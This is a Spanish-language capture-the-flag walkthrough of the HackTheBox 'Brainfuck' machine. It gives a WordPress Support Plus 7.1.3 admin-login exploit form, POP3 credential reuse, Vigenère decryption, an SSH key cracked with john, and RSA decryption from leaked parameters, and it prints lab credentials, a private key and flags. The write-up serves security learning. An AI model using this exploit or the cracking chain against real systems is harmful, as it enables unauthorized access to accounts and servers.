Skip to content

Brainfuck

Difficulty : Insane
Operating System : Linux
Rating : 3.7
Author : ch4p

Description

En esta maquina encontraremos una explotacion a traves de un plugin de wordpress y un par de retos de criptografia. Es una maquina divertida para aprender algunos conceptos criptograficos y que nos permitira utilizar diferentes tecnicas de explotacion. Vamos alla!

Enumeration

Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.

Descarga: HTBenum

Nmap

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 94:d0:b3:34:e9:a5:37:c5:ac:b9:80:df:2a:54:a5:f0 (RSA)
|   256 6b:d5:dc:15:3a:66:7a:f4:19:91:5d:73:85:b2:4c:b2 (ECDSA)
|_  256 23:f5:a3:33:33:9d:76:d5:f2:ea:69:71:e3:4e:8e:02 (ED25519)
25/tcp  open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open  pop3     Dovecot pop3d
|_pop3-capabilities: TOP SASL(PLAIN) USER UIDL CAPA RESP-CODES AUTH-RESP-CODE PIPELINING
143/tcp open  imap     Dovecot imapd
|_imap-capabilities: ENABLE ID more SASL-IR post-login have IMAP4rev1 AUTH=PLAINA0001 capabilities LOGIN-REFERRALS LITERAL+ Pre-login listed OK IDLE
443/tcp open  ssl/http nginx 1.10.0 (Ubuntu)
|_http-generator: WordPress 4.7.3
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Whatweb

https://brainfuck.htb [200 OK] Country[RESERVED][ZZ], Email[ajax-loader@2x.gif,orestis@brainfuck.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.10.0 (Ubuntu)], IP[10.129.1.1], JQuery[1.12.4], MetaGenerator[WordPress 4.7.3], Modernizr, PoweredBy[WordPress,], Script[text/javascript], Title[Brainfuck Ltd. – Just another WordPress site], UncommonHeaders[link], WordPress[4.7.3], nginx[1.10.0]

HTTP Headers

HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Thu, 04 Nov 2021 11:13:29 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Link: <https://brainfuck.htb/?rest_route=/>; rel="https://api.w.org/"

Nikto

---------------------------------------------------------------------------
+ Target IP:          10.129.1.1
+ Target Hostname:    brainfuck.htb
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /C=GR/ST=Attica/L=Athens/O=Brainfuck Ltd./OU=IT/CN=brainfuck.htb/emailAddress=orestis@brainfuck.htb
                   Altnames: www.brainfuck.htb, sup3rs3cr3t.brainfuck.htb
                   Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
                   Issuer:   /C=GR/ST=Attica/L=Athens/O=Brainfuck Ltd./OU=IT/CN=brainfuck.htb/emailAddress=orestis@brainfuck.htb
+ Start Time:         2021-11-04 12:13:31 (GMT1)
---------------------------------------------------------------------------
+ Server: nginx/1.10.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ nginx/1.10.0 appears to be outdated (current is at least 1.18.0)
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /readme.html: This WordPress file reveals the installed version.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login.php: Wordpress login found
+ ERROR: Error limit (20) reached for host, giving up. Last error:
+ SCAN TERMINATED:  0 error(s) and 12 item(s) reported on remote host
+ End Time:           2021-11-04 12:53:13 (GMT1) (2382 seconds)
---------------------------------------------------------------------------

User Own

La url principal alberga un wordpress

Voy a hacer fuzzear la carpeta /wp-content/plugins/ con la intencion de descubrir los plugins instalados en el wordpress. Para ello voy a construir un diccionario de la url WordPress Plugins SVN Mirror con el siguiente comando:

for i in {1..1757};do sleep 2;curl -s https://github.com/orgs/wp-plugins/repositories?page=$i | html2text | grep -w Public | awk '{print $3}' >> plugins.txt;done

Una vez tengo el diccionario disponible con el listado de todos los plugins disponibles, voy a lanzarlo a traves de ffuf

ffuf -w plugins.txt:FUZZ -u https://brainfuck.htb/wp-content/plugins/FUZZ
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1-dev
________________________________________________

 :: Method           : GET
 :: URL              : https://brainfuck.htb/wp-content/plugins/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/wordpress-plugins.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 798
________________________________________________

easy-wp-smtp            [Status: 301, Size: 194, Words: 7, Lines: 8]
wp-support-plus-responsive-ticket-system [Status: 301, Size: 194, Words: 7, Lines: 8]
akismet                 [Status: 301, Size: 194, Words: 7, Lines: 8]
:: Progress: [52710/52710] :: Job [1/1] :: 587 req/sec :: Duration: [0:01:31] :: Errors: 0 ::

El plugin que parece tener un exploit publico es wp-support-plus-responsive-ticket-system

[root@htb brainfuck]# searchsploit wordpress ticket system
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                           |  Path
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin SupportEzzy Ticket System 1.2.5 - Persistent Cross-Site Scripting                                                       | php/webapps/35218.txt
WordPress Plugin WP Support Plus Responsive Ticket System 2.0 - Multiple Vulnerabilities                                                 | php/webapps/34589.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation                                                   | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection                                                          | php/webapps/40939.txt
----------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Podemos verificar la version instalada leyendo el archivo readme.txt

[root@htb brainfuck]# curl -s -k https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt | head
=== WP Support Plus Responsive Ticket System ===
Contributors: pradeepmakone07
License: GPL v3
Tags: ticket,support,helpdesk,crm,responsive,chat,skype,email pipe,contact,faq,woocommerce
Requires at least: 4.0
Tested up to: 4.7
Stable tag: 7.1.3

La version 7.1.3 tiene un error que aprovecha un uso indebido para setear una cookie y nos permite logearnos en el wordpress como administrador. Podemos encontrar mas informacion en esta web. Tal y como apunta la prueba de concepto que nos proporcionan, vamos a intentar hacer un POST al fichero wp-admin/admin-ajax.php y antes de nada quiero comprobar si existe en el servidor

[root@htb brainfuck]# curl -s -I -k https://brainfuck.htb/wp-admin/admin-ajax.php
HTTP/1.1 200 OK
Server: nginx/1.10.0 (Ubuntu)
Date: Thu, 04 Nov 2021 16:59:25 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive

Ahora que sabemos que el fichero existe, podemos crear un exploit adaptado a la url que estamos auditando.

En la pagina principal vimos que hay un usuario llamado admin que ha escrito una entrada en el blog. Usaremos ese usuario para el exploit

xpl.html

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
        Username: <input type="text" name="username" value="admin">
        <input type="hidden" name="email" value="sth">
        <input type="hidden" name="action" value="loginGuestFacebook">
        <input type="submit" value="Login">
</form>

A continuacion lo abrimos en el navegador y lo lanzamos...

Como vemos en el inspector de elementos, se han seteado correctamente unas cookies para wordpress..

Y si actualizamos la pagina del wordpress principal observamos que estamos logeados en el panel de control

Dando una vuelta por el panel de administracion de wordpress, lo primero que intento es editar un fichero .php para introducir una webshell o similar.. pero me encuentro que las carpetas estan protegidas contra escritura y no tengo permisos para editar los ficheros. Por otro lado, observando los plugins, puedo ver que hay uno llamado Easy WP SMTP que contiene un usuario y una contraseña, visible desde inspeccionar elemento. Vamos a intentar conectar al puerto 110 SMTP con ese usuario y ver que tenemos por ahi...
orestis
kHGuERB29DNiNE

[root@htb brainfuck]# nc brainfuck.htb 110
+OK Dovecot ready.
USER orestis
+OK
PASS kHGuERB29DNiNE
+OK Logged in.
LIST
+OK 2 messages:
1 977
2 514
.
RETR 2
+OK 514 octets
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
        id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
.

Una vez leido el email, obtenemos mas credenciales
orestis
kIEnnfEKJ#9UmdO

En la informacion que obtuvimos de nikto vimos un host alternativo sup3rs3cr3t.brainfuck.htb. Lo agregare a /etc/hosts para ver que resuelve por virtualhosting

10.129.1.1      brainfuck.htb sup3rs3cr3t.brainfuck.htb

Nos lleva a un foro, vamos a logearnos con las credenciales obtenidas

Una vez logeados, podemos ver una conversacion de nuestro usuario orestis con el admin. En la conversacion orestis pide al admin la clave RSA para conectar por ssh y le dice que ha abierto un hilo encriptado para que le pase los datos por ahi.

El hilo esta encriptado con Vigenère el cual necesita una key para ser desencriptado. Observando la conversacion obtenemos un patron que se repite, la firma del usuario orestis. Usaremos esto para obtener la key de encriptado.

Para obtener la key usaremos la web de cryptii , deberemos poner las frases sin espacios y sin guiones para que lo pille bien fuckmybrain

Una vez obtenida la key podemos desencriptar el resto del texto

There you go you stupid fuck, I hope you remember your key password because I dont :)

https://10.10.10.17/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa

[root@htb brainfuck]# curl -k -o id_rsa https://10.129.252.158/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1766  100  1766    0     0   6540      0 --:--:-- --:--:-- --:--:--  6540
[root@htb brainfuck]# cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

mneag/YCY8AB+OLdrgtyKqnrdTHwmpWGTNW9pfhHsNz8CfGdAxgchUaHeoTj/rh/
B2nS4+9CYBK8IR3Vt5Fo7PoWBCjAAwWYlx+cK0w1DXqa3A+BLlsSI0Kws9jea6Gi
W1ma/V7WoJJ+V4JNI7ufThQyOEUO76PlYNRM9UEF8MANQmJK37Md9Ezu53wJpUqZ
7dKcg6AM/o9VhOlpiX7SINT9dRKaKevOjopRbyEFMliP01H7ZlahWPdRRmfCXSmQ
zxH9I2lGIQTtRRA3rFktLpNedNPuZQCSswUec7eVVt2mc2Zv9PM9lCTJuRSzzVum
oz3XEnhaGmP1jmMoVBWiD+2RrnL6wnz9kssV+tgCV0mD97WS+1ydWEPeCph06Mem
dLR2L1uvBGJev8i9hP3thp1owvM8HgidyfMC2vOBvXbcAA3bDKvR4jsz2obf5AF+
Fvt6pmMuix8hbipP112Us54yTv/hyC+M5g1hWUuj5y4xovgr0LLfI2pGe+Fv5lXT
mcznc1ZqDY5lrlmWzTvsW7h7rm9LKgEiHn9gGgqiOlRKn5FUl+DlfaAMHWiYUKYs
LSMVvDI6w88gZb102KD2k4NV0P6OdXICJAMEa1mSOk/LS/mLO4e0N3wEX+NtgVbq
ul9guSlobasIX5DkAcY+ER3j+/YefpyEnYs+/tfTT1oM+BR3TVSlJcOrvNmrIy59
krKVtulxAejVQzxImWOUDYC947TXu9BAsh0MLoKtpIRL3Hcbu+vi9L5nn5LkhO/V
gdMyOyATor7Amu2xb93OO55XKkB1liw2rlWg6sBpXM1WUgoMQW50Keo6O0jzeGfA
VwmM72XbaugmhKW25q/46/yL4VMKuDyHL5Hc+Ov5v3bQ908p+Urf04dpvj9SjBzn
schqozogcC1UfJcCm6cl+967GFBa3rD5YDp3x2xyIV9SQdwGvH0ZIcp0dKKkMVZt
UX8hTqv1ROR4Ck8G1zM6Wc4QqH6DUqGi3tr7nYwy7wx1JJ6WRhpyWdL+su8f96Kn
F7gwZLtVP87d8R3uAERZnxFO9MuOZU2+PEnDXdSCSMv3qX9FvPYY3OPKbsxiAy+M
wZezLNip80XmcVJwGUYsdn+iB/UPMddX12J30YUbtw/R34TQiRFUhWLTFrmOaLab
Iql5L+0JEbeZ9O56DaXFqP3gXhMx8xBKUQax2exoTreoxCI57axBQBqThEg/HTCy
IQPmHW36mxtc+IlMDExdLHWD7mnNuIdShiAR6bXYYSM3E725fzLE1MFu45VkHDiF
mxy9EVQ+v49kg4yFwUNPPbsOppKc7gJWpS1Y/i+rDKg8ZNV3TIb5TAqIqQRgZqpP
CvfPRpmLURQnvly89XX97JGJRSGJhbACqUMZnfwFpxZ8aPsVwsoXRyuub43a7GtF
9DiyCbhGuF2zYcmKjR5EOOT7HsgqQIcAOMIW55q2FJpqH1+PU8eIfFzkhUY0qoGS
EBFkZuCPyujYOTyvQZewyd+ax73HOI7ZHoy8CxDkjSbIXyALyAa7Ip3agdtOPnmi
6hD+jxvbpxFg8igdtZlh9PsfIgkNZK8RqnPymAPCyvRm8c7vZFH4SwQgD5FXTwGQ
-----END RSA PRIVATE KEY-----

He cambiado la ip proporcionada por la que nos ofrece hackthebox para nuestra instancia, ya que estoy usando el vip+

Como podemos ver, la key esta encriptada con password, por lo que vamos a tirar de ssh2john para intentar crackearla

[root@htb brainfuck]# python /opt/john/run/ssh2john.py id_rsa > privkeyhash
[root@htb brainfuck]# john --wordlist=/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt privkeyhash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:07 DONE (2021-11-08 00:28) 0.1278g/s 1833Kp/s 1833Kc/s 1833KC/s *7¡Vamos!
Session completed
3poulakia!

Y ahora que tenemos la password, conectamos por ssh

[root@htb brainfuck]# ssh -i id_rsa -l orestis brainfuck.htb
Enter passphrase for key 'id_rsa': 3poulakia!
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


You have mail.
Last login: Sun May 24 20:09:11 2020
orestis@brainfuck:~$ cat user.txt
2c11cfbc5b959f73ac15a3310bd097c9

Root Own

Una vez logeados con el usuario orestis nos encontramos un archivo llamado encrypt.sage

encrypt.sage

orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

Entendiendo un poco el script, parece ser que intenta leer el archivo /root/root.txt con una clave RSA, la password la pilla de output.txt y hace un debug en debug.txt

output.txt

Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

debug.txt

7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997

Dado el archivo debug.txt se entiende que la primera linea es p , la segunda es q y la tercera es e. Para reversear el cifrado he encontrado este script en python que voy a modificar para poner nuestros datos.

dec.py

#!/usr/bin/python
## RSA - Given p,q and e.. recover and use private key w/ Extended Euclidean Algorithm - crypto150-what_is_this_encryption @ alexctf 2017
# @author intrd - http://dann.com.br/ (original script here: http://crypto.stackexchange.com/questions/19444/rsa-given-q-p-and-e)
# @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/

import binascii, base64

p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

n = p*q #product of primes
phi = (p-1)*(q-1) #modular multiplicative inverse
gcd, a, b = egcd(e, phi) #calling extended euclidean algorithm
d = a #a is decryption key

out = hex(d)
print("d_hex: " + str(out));
print("n_dec: " + str(d));

pt = pow(ct, d, n)
print("pt_dec: " + str(pt))

out = hex(pt)
out = str(out[2:-1])
print "flag"
print out.decode("hex")

y lo lanzamos con python...

orestis@brainfuck:~$ python dec.py
d_hex: 0xc6eccf2d2584044e2173cf0efa88f839ee184df56ce3e6aa450cfcdf9e5ec8b4d8123c2cd57ee4bf7c84e423941191ec57a7944e31327a722143edc1981ecf24bd9b389d673a1bd44288103e501f46994b700ac1abcb15339ff0750566957064605eb9205d159360fb6b907b39ee98683b0f6f418619fcb1665c4c7fa7984e9L
n_dec: 8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt_dec: 24604052029401386049980296953784287079059245867880966944246662849341507003750
flag
6efc1a5dbb8904751ce6566a305bb8ef

Back to top